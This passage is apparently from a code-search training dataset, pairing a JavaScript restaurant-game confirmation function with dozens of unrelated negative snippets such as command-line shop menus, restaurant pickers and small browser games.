regretFastFoodRestaurantOption() {\n subTitle.innerText = \"Are you sure?\";\n firstButton.innerText = \"Yes, continue\";\n firstButton.onclick = function() {\n fastFoodRestaurantScene();\n }\n secondButton.innerText = \"No, go back\";\n secondButton.onclick = function() {\n startFunction();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}","function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}","function changeRestaurant() {\n if (selectedRestaurant < rRestaurants.length - 1) {\n const next = selectedRestaurant + 1;\n dispatch(setSelectedRestaurant(next));\n } else {\n dispatch(setSelectedRestaurant(0));\n }\n }","function option() {\n\tinquirer\n\t\t.prompt(\n\t\t\t{\n\t\t\t\tname: \"option\",\n\t\t\t\ttype: \"rawlist\",\n\t\t\t\tmessage: \"Would you like to continue to shop?\",\n\t\t\t\tchoices: [\"yes\", \"no\"]\n\t\t\t}\n\t\t)\n\t\t.then(function (answer) {\n\t\t\tif (answer.option === \"yes\") {\n\t\t\t\tdisplayProducts();\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\tconsole.log(\"Thank you for shopping with us at Bamazon, now get the hell out of here!\")\n\t\t\t\tconnection.end()\n\t\t\t}\n\t\t})\n}","async promptForFood(step) {\n if (step.result && step.result.value === 'yes') {\n\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\n {\n retryPrompt: 'Sorry, I do not understand or say cancel.'\n }\n );\n } else {\n return await step.next(-1);\n }\n}","function restartMenu(){\n\tinquirer.prompt([{\n\t\ttype: \"confirm\",\n\t\tname: \"restartSelection\",\n\t\tmessage: \"Would you like to continue shopping?\"\n\t}]).then(function(restartAnswer){\n\t\tif (restartAnswer.restartSelection === true) {\n\t\t\tcustomerMenu();\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Thank you for shopping!\\nYour total is $\" + totalCost); \n\t\t}\n\t});\n}","function selectRestaurant() {\n let restaurant = document.getElementById(\"dropdown\").firstChild.value;\n let clear;\n if (restaurant === null) {\n return;\n } else if (Object.keys(order.items).length > 0) {\n //Confirm the if the user wants to proceed to clear the order\n clear = confirm(\"Would you like to clear the current order?\");\n if(!clear) {\n document.getElementById(\"dropdown\").firstChild.value = \"\";\n return;\n }\n }\n\n clearOrder(true);\n\n changeRestaurant(restaurant);\n\n}","generateRestaurant(){\n// we want the user to input the zipcode they want to search, the food type they want to eat\n// and the rating (1-5) \n// getRestaurants()\n\n\n}","function selectRestaurant(){\r\n\tlet select = document.getElementById(\"restaurant-select\");\r\n\tlet name = select.options[select.selectedIndex]\r\n\t//checks for undefined\r\n\tif (name !== undefined){\r\n\t\t//creates custom url that tells server what the currently selected restaurant is\r\n\t\tname= select.options[select.selectedIndex].text;\r\n\t\tname = name.replace(/\\s+/g, '-');\r\n\t\tlet request = new XMLHttpRequest();\r\n\t\r\n\t\trequest.onreadystatechange = function(){\t\r\n\t\t\tif(this.readyState == 4 && this.status == 200){ //if its reggie\r\n\t\t\t\tlet data = JSON.parse(request.responseText);\r\n\t\t\t\t//set menu[0] equal to the data from the server\r\n\t\t\t\tmenu[0] = data;\r\n\t\t\t\tconsole.log(menu);\r\n\t\t\t\tlet result = true;\r\n\t\r\n\t\t\t\t//If order is not empty, confirm the user wants to switch restaurants.\r\n\t\t\t\tif(!isEmpty(order)){\r\n\t\t\t\t\tresult = confirm(\"Are you sure you want to clear your order and switch menus?\");\r\n\t\t\t\t}\r\n\t\r\n\t\t\t\t//If switch is confirmed, load the new restaurant data\r\n\t\t\t\tif(result){\r\n\t\t\t\t\t//Get the selected index and set the current restaurant\r\n\t\t\t\t\tlet selected = select.options[select.selectedIndex].value;\r\n\t\t\t\t\tcurrentSelectIndex = select.selectedIndex;\r\n\t\t\t\t\t//In A2, current restaurant will be data you received from the server\r\n\t\t\t\t\tcurrentRestaurant = menu[0];\r\n\t\t\r\n\t\t\t\t\t//Update the page contents to contain the new menu\r\n\t\t\t\t\tif (currentRestaurant !== undefined){\r\n\t\t\t\t\t\tdocument.getElementById(\"left\").innerHTML = getCategoryHTML(currentRestaurant);\r\n\t\t\t\t\t\tdocument.getElementById(\"middle\").innerHTML = getMenuHTML(currentRestaurant);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t//Clear the current oder and update the order summary\r\n\t\t\t\t\torder = {};\r\n\t\t\t\t\tupdateOrder(currentRestaurant);\r\n\t\t\r\n\t\t\t\t\t//Update the restaurant info on the page\r\n\t\t\t\t\tlet info = document.getElementById(\"info\");\r\n\t\t\t\t\tinfo.innerHTML = currentRestaurant.name + \"
    Minimum Order: $\" + currentRestaurant.min_order + \"
    Delivery Fee: $\" + currentRestaurant.delivery_fee + \"

    \";\r\n\t\t\t\t}else{\r\n\t\t\t\t\t//If they refused the change of restaurant, reset the selected index to what it was before they changed it\r\n\t\t\t\t\tlet select = document.getElementById(\"restaurant-select\");\r\n\t\t\t\t\tselect.selectedIndex = currentSelectIndex;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//make request to server with custom url based on the currently selected restaurant\r\n\t\trequest.open(\"GET\",\"http://localhost:3000/menu-data/\"+name,true);\r\n\t\trequest.send();\r\n\t}\r\n}","function mainMenu() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n name: \"choice\",\n message: \"Would you like to place another order?\"\n }\n ]).then(function (answer) {//response is boolean only\n if (answer.choice) { //if true, run func\n startBamazon();\n } else {\n console.log(\"Thanks for shopping at Bamazon. See you soon!\")\n connection.end();\n }\n })\n}","function eatFood() {\n if (gameState.snakeStart === gameState.food) {\n gameState.snakeLength++;\n\n updateFoodCell(\"remove\", gameState.food);\n\n createFood();\n updateFoodCell(\"add\", gameState.food);\n gameState.score++;\n increaseSpeed();\n showScore();\n return true;\n }\n}","function startOver() {\n inquirer\n .prompt({\n name: \"continue\",\n type: \"confirm\",\n message: \"Would you like to buy another product?\",\n default: true\n })\n .then(function(answer) {\n if (answer.continue) {\n purchaseChoice();\n }\n else {\n connection.end();\n }\n })\n}","async function makeFood(step) {\n try {\n if (step < brusselSprouts.length) {\n await addFood(brusselSprouts[step], \"#brusselSprouts\"); // Coloco o passo atual na fila\n makeFood(step + 1); // Dou o próximo passo na receita\n } else {\n throw \"End of recipe.\";\n }\n } catch (err) {\n console.log(err);\n }\n}","function reRun(){\n inquirer.prompt([\n {\n type: \"confirm\",\n name: \"reply\",\n message: \"Would you like to purchase another item?\"\n }\n ]).then(function(answer) {\n if(answer.reply) {\n buy();\n } \n else \n {\n console.log(\"Thanks for shopping Bamazon!\");\n connection.end();\n }\n });\n}","async displayFoodChoice(step) {\n const user = await this.userProfile.get(step.context, {});\n if (user.food) {\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n } else {\n const user = await this.userProfile.get(step.context, {});\n\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\n\n if (step.context.activity.text == 1) {\n user.food = \"European\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 2) {\n user.food = \"Chinese\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 3) {\n user.food = \"American\";\n await this.userProfile.set(step.context, user);\n }else {\n await this.userProfile.set(step.context, user);\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\n return await step.beginDialog(WHICH_FOOD);\n }\n\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n }\n return await step.beginDialog(WHICH_PRICE);\n //return await step.endDialog();\n}","function continueShopping(){\n inquirer.prompt(\n {\n type: \"confirm\",\n name: \"confirm\",\n message: \"Do you want to continue shopping?\",\n default: true\n }\n ).then(answers=>{\n if(answers.confirm){\n displayProducts();\n }else{\n connection.end();\n }\n });\n}","setSelectedRestaurant(state, resto) {\n state.selectedRestaurant = resto;\n }","function askAgain(){\n\tconsole.log(\"=============================================================\");\n\tinquirer.prompt([\n\t\t{\n\t\t\ttype: \"confirm\",\n\t\t\tname: \"confirm\",\n\t\t\tmessage: \"Would you like to do another task?\",\n\t\t\tdefault: false\n\t\t}\n\t]).then(function(again){\n\t\tif (again.confirm){\n\t\t\tsupervisorOptions();\n\t\t}\n\t\telse{\n\t\t\tconsole.log(\"All tasks are done.\");\n\t\t\t// Exits node program execution\n\t\t\tprocess.exit();\n\t\t}\n\t});\n}","function repeat() {\n inquirer\n .prompt({\n name: \"gotoMainMenu\",\n type: \"list\",\n message: \"Do you want to go back to main menu ?\",\n choices: [\"Yes\", \"No\"]\n })\n .then(function (choice) {\n if (choice.gotoMainMenu === \"Yes\") {\n start();\n }\n else {\n connection.end();\n }\n });\n}","function askAgain() {\n\n inquirer\n .prompt({\n name: \"nextSteps\",\n type: \"list\",\n message: \"Would you like to continue shopping?\",\n choices: [\"YES\", \"NO\"]\n })\n .then(function(answer) {\n \n if (answer.nextSteps.toUpperCase() === \"NO\") {\n\n console.log(chalk.yellow(\"\\nHope you had a pleasant experience. Come again soon!\\n\"));\n\n //turns off the connection from db\n connection.end();\n }\n\n else {\n\n \t//the first function is called again\n \treadProducts();\n\n\n } \n\n });\n}","function continuePrompt(){\n inquirer\n .prompt({\n name: \"repeat\",\n type: \"list\",\n message: \"Is there anything else you'd like to do?\",\n choices: [\n \"Yes\",\n \"No, I'm done.\"\n ]\n })\n .then(function(answer) {\n switch(answer.repeat){\n case \"Yes\":\n optionMenu();\n break;\n\n case \"No, I'm done.\":\n console.log(\"\\nHave a nice day!\\n\");\n connection.end();\n break;\n }\n });\n}","function runAgain(){\n inquire.prompt([\n {\n name: 'again',\n message: 'Would you like to make another purchase?',\n type: 'confirm'\n }\n ]).then(function(res){\n if (res.again){\n customer();\n } else {\n console.log('We hope to see you at the Agora again!');\n checkout();\n }\n })\n}","function supervisorMenu() {\n inquirer\n .prompt({\n name: 'apple',\n type: 'list',\n message: 'What would you like to do?'.yellow,\n choices: ['View Product Sales by Department',\n 'View/Update Department',\n 'Create New Department',\n 'Exit']\n })\n .then(function (pick) {\n switch (pick.apple) {\n case 'View Product Sales by Department':\n departmentSales();\n break;\n case 'View/Update Department':\n updateDepartment();\n break;\n case 'Create New Department':\n createDepartment();\n break;\n case 'Exit':\n connection.end();\n break;\n }\n });\n}","function restartFunction() {\n inquirer.prompt([\n {\n name:\"action\",\n type:\"list\",\n message: \"Do you want to do another operation?\",\n choices: [\n \"Yes, please.\",\n \"No, I am fine thank you.\"\n ]\n }\n ]).then(function(answer) {\n if(answer.action === \"Yes, please.\") {\n menuOptions();\n } else {\n connection.end();\n }\n })\n}","function fightOrFlight() {\n var fightOrFlight = ask.question(\"Do you choose to fight or run? Type 'f' to fight or 'r' to run\\n\")\n if (fightOrFlight === \"f\") {\n fight();\n } else {\n run();\n }\n}","function startPrompt() {\n \n inquirer.prompt([{\n\n type: \"confirm\",\n name: \"confirm\",\n message: \"Welcome to Zohar's Bamazon! Wanna check it out?\",\n default: true\n\n }]).then(function(user){\n if (user.confirm === true){\n inventory();\n } else {\n console.log(\"FINE.. come back soon\")\n }\n });\n }","function endStart(){\n inquirer.prompt({\n name: \"confirm\",\n type: \"confirm\",\n message: \"continue shopping?\",\n // default: true\n }).then(function (data) {\n if (data.confirm === false)\n \n process.exit();\n else \n start();\n });\n}","function shopAgain(){\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"shop\",\n message: \"Would you like to buy another item?\",\n choices: [\"YES\", \"NO\"]\n }\n ]).then(function(answer) {\n if (answer.shop === \"YES\") {\n runBamazon();\n } else {\n console.log(\"Thank you for shopping with us, have a nice day!\");\n connection.end();\n }\n })\n}","eat() {\r\n let consume = this.food - 2\r\n if (consume > 1) {\r\n this.isHealthy = true\r\n return this.food = consume\r\n } if (consume <= 0) {\r\n this.isHealthy = false\r\n return this.food = 0\r\n }\r\n else if (consume <= 1) {\r\n return this.food = consume\r\n //alert(this.name + \" food supply reached to 0. It's time for a hunt\")\r\n //this.isHealthy = true\r\n }\r\n\r\n }","function superAsk(){\n\n inquirer\n .prompt([\n // Here we create a basic text prompt.\n {\n type: \"rawlist\",\n message: \"Greetings, what action would you like to perform today? (select by picking a #)\",\n choices: ['View Product Sales by Department', 'Create New Department', 'Exit'],\n name: \"action\", \n },\n\n ])\n .then(function(response) {\n\n switch (response.action) {\n case 'View Product Sales by Department':\n viewProdSales();\n break;\n case 'Create New Department':\n createDept();\n break;\n case 'Exit':\n process.exit();\n break;\n default:\n console.log('Whoops! Looks like something went wrong. Are you sure you picked a number 1-2?');\n }\n });\n}","function fightOrCave() {\n\n let whereNext = prompt(\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\").toLowerCase();\n\n if (whereNext === \"grottan\"){\n goToCaveSecondTime();\n }\n else if (whereNext === \"fight\") {\n alert(\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\")\n goToCaveSecondTime();\n }\n else {\n alert(\"Vänligen ange fight eller grottan\")\n fightOrCave()\n }\n\n \n}","function runAgain2(){\n console.log('That item ID was not found in our records.');\n inquire.prompt([\n {\n name: 'again',\n message: 'Would you like to make another purchase?',\n type: 'confirm'\n }\n ]).then(function(res){\n if (res.again){\n customer();\n } else {\n console.log('We hope to see you at the Agora again!');\n checkout();\n }\n })\n}","function handleNewMealRequest(response) {\n // Get a random meal from the random meals list\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\n var meal = RANDOM_MEALS[mealIndex];\n\n // Create speech output\n var speechOutput = \"Here's a suggestion: \" + meal;\n\n response.tellWithCard(speechOutput, \"MealRecommendations\", speechOutput);\n}","function again() {\n inquirer.prompt({\n name: \"shop\",\n type: \"list\",\n message: \"Would you like to keep shopping?\",\n choices: [\"Yes\", \"No\"]\n }).then(function(answer){\n if(answer.shop == \"Yes\"){\n list();\n } else {\n console.log(\"Please come back soon!\");\n connection.end();\n }\n })\n}","pickUpFood() {\n var surTile = this.Survivor.getCurrentTile();\n for (const f of this.foodStock) {\n if (surTile === f.getTile() && f.getActive()) {\n f.setActive(false);\n this.playerFood += this.foodValue;\n this.playerScore += 10;\n }\n }\n }","function restartPrompt(){\n inquirer.prompt([\n {\n type: \"confirm\",\n name: \"confirm\",\n message: \"Would you like to continue shopping?\".question,\n default: true\n }\n ]).then(function(input){\n // If customer wants to continue show products again\n if(input.confirm){\n showProducts();\n }\n else{\n console.log(\"Thank you for shopping with Bamazon!\".magenta);\n connection.end();\n }\n })\n}","function startOver() {\n\tinquirer.prompt([\n\t\t{\n\t\t\tname: \"confirm\",\n\t\t\ttype: \"confirm\",\n\t\t\tmessage: \"Would you like to make another selection?\"\n\t\t}\n\t]).then(function(answer) {\n\t\tif (answer.confirm === true) {\n\t\t\tdisplayOptions();\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Goodbye!\");\n\t\t}\n\t});\n}","function keepShopping(){\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"do you want to keep shopping for beers?\",\n name: \"confirm\"\n }\n ]).then(function(res){\n if (res.confirm){\n console.log(\"----------------\");\n showProducts();\n } else {\n console.log('Thank you for shopping in our online bar, happy drinking!');\n connection.end();\n }\n })\n}","function endRepeat() {\n inquirer\n .prompt([{\n type: \"list\",\n name: \"wish\",\n message: \"\\nDo you want to perform another operation?\",\n choices: [\"Yes\", \"No\"]\n }]).then( answer => {\n if (answer.wish === \"Yes\") {\n showMenu();\n } else {\n connection.end();\n }\n })\n}","function resetProductView(){\n \n inquirer.prompt([\n {\n type: \"rawlist\",\n name: \"action\",\n message: \"What would you like to do next?\",\n choices:[\"I want to checkout\", \"I want to continue shopping\"]\n }\n\n ]).then(function(answers){\n if(answers.action === \"I want to checkout\"){\n console.log(\"Good Bye, hope to see you again!\");\n }else if (answers.action === \"I want to continue shopping\"){\n customerview();\n }\n });\n\n}","function pickUp(index) {\n var pt = self[self.turn];\n var result = self.food[pt];\n if (!result) return; // Nothing to do\n if (result.length == 1) index = 0; // Unique\n if (index == null) { // Can't decide now...\n newState.pending = action;\n return;\n }\n reward += self.food[pt][index]; // Take the food\n newState.food[pt] = null; // Food is now gone\n }","function another() {\n inquirer\n .prompt(\n {\n name: 'another',\n type: 'confirm',\n message: 'Would you like to continue shopping?'\n },\n\n )\n .then(function (answer) {\n if (answer.another === true) {\n start();\n } else {\n console.log('Thanks for shopping with us! Your orders will be shipped promptly.')\n connection.end();\n }\n });\n\n}","function anotherAction() {\n\n inquirer\n .prompt([\n {\n name: \"confirm\",\n type: \"confirm\",\n message: \"Would you like to complete another action?\"\n }\n ])\n .then(function (answer) {\n if (answer.confirm == true) {\n showMenu();\n }\n else {\n console.log(\"Goodbye.\");\n connection.end();\n }\n\n });\n\n}","function systemSelection(option){\n\tvar check = option; \n\tif(vehicleFuel<=0){\n\t\tgameOverLose();\n\t}\n\n\telse{\n\n\n\tif(currentLocation===check){\n\t\t\tgamePrompt(\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\",beginTravel);\n\t\t\t}\n\n\telse{\n\t\n\t\t\tif(check.toLowerCase() === \"e\"){\n\t\t\t\tvehicleFuel=(vehicleFuel-10);\n\t\t\t\tcurrentLocation=\"e\" ;\n\t\t\t\tgamePrompt(\"Flying to Earth...You used 10 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToEarth);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"m\"){\n\t\t\t//need to add a 'visited' conditional\n\t\t\tvehicleFuel=(vehicleFuel-20);\n\t\t\tcurrentLocation=\"m\" ;\n\t\t\t\tgamePrompt(\"Flying to Mesnides...You used 20 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\", goToMesnides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"l\"){\n\t\t\tvehicleFuel=(vehicleFuel-50);\n\t\t\tcurrentLocation=\"l\" ;\n\t\t\tgamePrompt(\"Flying to Laplides...You used 50 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToLaplides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"k\"){\n\t\t\tvehicleFuel=(vehicleFuel-120);\n\t\t\tcurrentLocation=\"k\" ;\n\t\t\tgamePrompt(\"Flying to Kiyturn...You used 120 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToKiyturn);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"a\"){\n\t\t\tvehicleFuel=(vehicleFuel-25);\n\t\t\tcurrentLocation=\"a\";\n\t\t\tgamePrompt(\"Flying to Aenides...You used 25 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToAenides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"c\"){\n\t\t\tvehicleFuel=(vehicleFuel-200);\n\t\t\tcurrentLocation=\"c\" ;\n\t\t\tgamePrompt(\"Flying to Cramuthea...You used 200 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToCramuthea);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"s\"){\n\t\t\tvehicleFuel=(vehicleFuel-400);\n\t\t\tcurrentLocation=\"s\" ;\n\t\t\tgamePrompt(\"Flying to Smeon T9Q...You used 400 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToSmeon);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"g\"){\n\t\t\tvehicleFuel=(vehicleFuel-85);\n\t\t\tcurrentLocation=\"g\" ;\n\t\t\tgamePrompt(\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToGleshan);\n\t\t\t}\n\t\telse{\n\t\t\tgamePrompt(\"Sorry Captain, I did not understand you. I will return you to the main menu\",beginTravel);\n\t\t}\n\t}\n\t}\n}","eat () {\n if (this.food === 0) {\n this.isHealthy = false;\n\n } else {\n this.food -= 1;\n }\n }","function chap19(){\n var wantChicken = false;\n var foodArray = [\"Salmon\", \"Tilapia\", \"Tuna\", \"Lobster\"];\n var customerOrder = prompt(\"What would you like?\", \"Look the menu\");\n for (var i = 0; i <= 3; i++) {\n if (customerOrder === foodArray[i]) {\n wantChicken = true;\n alert(\"We have it on the menu!\");\n break;\n }\n }\n if(wantChicken===false) {\n\t\talert(\"We don't serve chicken here, sorry.\");\n\t}\n}","function start() {\n inquirer.prompt([{\n name: \"entrance\",\n message: \"Would you like to shop with us today?\",\n type: \"list\",\n choices: [\"Yes\", \"No\"]\n }]).then(function(answer) {\n // if yes, proceed to shop menu\n if (answer.entrance === \"Yes\") {\n menu();\n } else {\n // if no, end node cli \n console.log(\"---------------------------------------\");\n console.log(\"No?!?!?! What do you mean no!?!?!?!?!?\");\n console.log(\"---------------------------------------\");\n connection.destroy();\n return;\n }\n });\n}","function start() {\n inquirer.prompt({\n name: \"select\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\"VIEW SALES\", \"CREATE NEW DEPARTMENT\", \"DELETE DEPARTMENT\", \"EXIT\"]\n }).then(function (answers) {\n if (answers.select.toUpperCase() === \"VIEW SALES\") {\n viewSales();\n } else if (answers.select.toUpperCase() === \"CREATE NEW DEPARTMENT\") {\n newDepartment();\n } else if (answers.select.toUpperCase() === \"DELETE DEPARTMENT\") {\n deleteDepartment();\n } else {\n // Selecting \"EXIT\" just takes the user here\n connection.end();\n }\n });\n}","function start() {\n inquirer\n .prompt({\n name: \"choice\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory Less than 30 items in stock\",\n \"Update current Items Stock Quantity\",\n \"Add New Product to Current Dept\"\n ]\n })\n .then(function(answer) {\n switch (answer.choice) {\n case \"View Products for Sale\":\n viewAll();\n break;\n case \"View Low Inventory Less than 30 items in stock\":\n viewLowInv();\n break;\n case \"Update current Items Stock Quantity\":\n // viewAll();\n addToInv();\n break;\n case \"Add New Product to Current Dept\":\n addNewProduct();\n break;\n }\n });\n}","findCraving(type) {\n \n // Make sure a craving has been selected - if not alert user and abort.\n if (app.currentCraving === 0) {\n app.showAlert(\"No craving\", \"Please select a craving to continue!\");\n return;\n }\n // Opens the loading screen\n app.showLoadingScreen();\n // Builds our call url.\n // Base URL // Current LAT //Current Lon // CurrentCraving \n var callUrl = `${ apiUrls.zomatoBase }/search?lat=${ app.latLong[0] }&lon=${ app.latLong[1] }&cuisines=${ app.currentCraving }&radius=3000`;\n \n // See if the user opted to hide restaurants they've visited.\n var hidePrev = $(\"#chk-hide-previous\").is(\":checked\");\n \n // Zero out our array.\n app.restaurantResults.length = 0;\n\n // Performs the API call.\n app.callApi(\"get\", callUrl, apiKeys.zomato.header).then((response) => {\n // Loops through our responses\n for (var i = 0; i < response.restaurants.length; i++) {\n // Gets the current restaurant.\n var rest = response.restaurants[i].restaurant;\n // Creates an object\n var newRestaurant = new Restaurant(rest.id, rest.name, rest.location.address, rest.location.latitude, rest.location.longitude,\n rest.thumb, rest.price_range, rest.average_cost_for_two, rest.featured_image, rest.user_rating.rating_text, rest.user_rating.aggregate_rating);\n // Gets the distance as a float\n newRestaurant.distance = parseFloat(distance(app.latLong[0], app.latLong[1], newRestaurant.lat, newRestaurant.lon));\n // Assume we can push it into our results array.\n var canPush = true;\n // If we want to hide it\n if (hidePrev) {\n // Make sure we have a list of restaurants the user has been to\n if (app.currentUser.restaurants) {\n // Loop through the users' visited restaurants\n for (var j = 0; j < app.currentUser.restaurants.length; j++) {\n // Compare it with our current working restaurant\n if (newRestaurant.id === app.currentUser.restaurants[j]) {\n // If it's there, flag we cannot push it to the array.\n canPush = false;\n }\n }\n }\n }\n if (canPush) {\n // If we made it, push it into our results array.\n app.restaurantResults.push(newRestaurant);\n }\n };\n // if the user wanted\n if (type === \"fast\") {\n app.restaurantResults.sort(app.sortByDistance);\n } else {\n app.restaurantResults.sort(app.sortByQuality);\n }\n // Populate our results screen\n app.populateResults();\n // Hide the loading overlay\n app.hideLoadingScreen();\n // Fade into our results screen\n app.switchScreens(\"#craving-select-screen\", \"#results-screen\", true);\n });\n }","function askIfDone() {\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"Would you like to return to the main menu?\",\n name: \"decision\"\n }\n ]).then(function(response){\n if(response.decision === true) {\n menu();\n }\n else {\n console.log(\"\\nThank you. Goodbye.\");\n console.log(\"\\n============================================\");\n connection.end();\n }\n });\n}","function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\n if(userInput === \"1\"){\n \n randomDestination = yesOrNo(destination,destination);\n \n }\n else if (userInput === \"2\") {\n \n randomRestaurant = yesOrNo(restaurant,restaurant);\n }\n else if (userInput === \"3\") {\n \n randomTravelType = yesOrNo(transportation, transportation);\n }\n else if (userInput === \"4\") {\n \n randomEntertainment = yesOrNo(entertainment,entertainment);\n }\n}","function start(){\n inquirer.prompt({\n type: \"list\",\n message: \"What would you like to view?\",\n name: \"answer\",\n choices: [\"All inventory\", \"Electronics\", \"Furniture\", \"Apparel\", \"Camping/Outdoors\", \"Tools\", \"Exit\"]\n }).then(function(data){\n if(data.answer === \"Exit\"){\n console.log(\"\\nThanks for shopping with Bamazon!\\n\".green);\n connection.end();\n }\n else if(data.answer === \"All inventory\"){\n query = \"SELECT * FROM products\"\n showItems();\n }\n else{\n query = \"SELECT * FROM products WHERE department = \" + \"'\" + data.answer.toLowerCase() + \"'\"\n showItems();\n }\n \n }) \n}","function callNextActionOrExit(answer) {\n if (answer.userSelection === \"View Products for Sale\") {\n console.log(\"You want to view products\");\n viewProducts();\n } else if (answer.userSelection === \"View Low Inventory\") {\n console.log(\"You want to view inventory\")\n viewLowInventory();\n } else if (answer.userSelection === \"Add to Inventory\") {\n console.log(\"You want to add to inventory\")\n addToInventory();\n } else if (answer.userSelection === \"Add New Product\") {\n console.log(\"You want to add a new product\")\n getNewItem();\n } else {\n database.endConnection();\n }\n}","function optionMenu(){\n inquirer\n .prompt({\n name: \"menu\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"Nothing, I've changed my mind.\"\n ]\n })\n .then(function(answer) {\n switch(answer.menu){\n case \"View Products for Sale\":\n showProducts();\n\n // continuePrompt is delayed to allow showProducts to be completed\n setTimeout(continuePrompt,300);\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n\n // continuePrompt is delayed to allow lowInventory to be completed\n setTimeout(continuePrompt,300);\n break;\n\n case \"Add to Inventory\":\n showProducts()\n\n // addInventory is delayed to allow lowInventory to be completed\n setTimeout(addInventory,300);\n break;\n\n case \"Add New Product\":\n newProduct();\n break;\n\n case \"Nothing, I've changed my mind.\":\n console.log(\"\\nHave a nice day!\\n\");\n connection.end();\n break;\n }\n });\n}","function start() {\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View All departments\",\n \"View All employees\",\n \"View All roles\",\n \"Add roles\",\n \"Add departments\",\n \"Add employees\",\n \"Delete roles\",\n \"Delete departments\",\n \"Exit\"\n ]\n })\n .then(function(res) { \n switch (res.action) {\n case \"View departments\":\n viewDep();\n break;\n \n case \"View All employees\":\n viewEmp();\n break;\n \n case \"View All roles\":\n viewRole();\n break;\n \n case \"Add roles\":\n addRole();\n break;\n \n case \"Add departments\":\n addDep();\n break;\n\n case \"Add employees\":\n addEmp();\n break;\n\n case \"Update employee roles\":\n updateEmpRole();\n break;\n \n case \"Delete roles\":\n deleteRole();\n break;\n \n case \"Delete departments\":\n deleteDep();\n break;\n \n case \"Exit\":\n end();\n break\n }\n });\n }","async eatEnergy() {\n await this.updateAvailableEat();\n let response = await this.sendRequest(\"foodSystem.php\", { \"whatneed\": \"eatFrmHldnk\" });\n debug(\"Eating...\", response);\n return response;\n }","function doChoice(e) {\n if (this.selectedIndex>0) {\n var c = favlist[this.options[this.selectedIndex].value];\n\t\tvar fail = false;\n if (c) {\n var i;\n setNotice('Loading fav ...');\n for (i=1;i<=c.length;i++) {\n fail |= setState(i,c[i-1]);\n }\n for (;i<=11;i++) {\n clearState(i);\n }\n }\n this.selectedIndex = 0;\n\t\tif (fail)\n\t\t\taddNotice('Item(s) not found!');\n\t\telse\n\t\t\taddNotice('Fav loaded!');\n }\n}","function initSelectRestaurant(restaurants, searchTerm){\n $(function(){\n\n var getRestaurant = window.LE.restaurants.getRestaurant\n\n userdata.restaurant = null;\n\n //dummy var\n var isSearch = null;\n\n // prepare template\n var source = $(\"#restaurant-dropdown-template\").html();\n var template = Handlebars.compile(source);\n\n html = template(restaurants); \n\n // populate dropdown for restaurants\n var renderingRestaurants = $('#render-restaurants').after(html);\n\n // render confirmation of the search term so the user remembers what 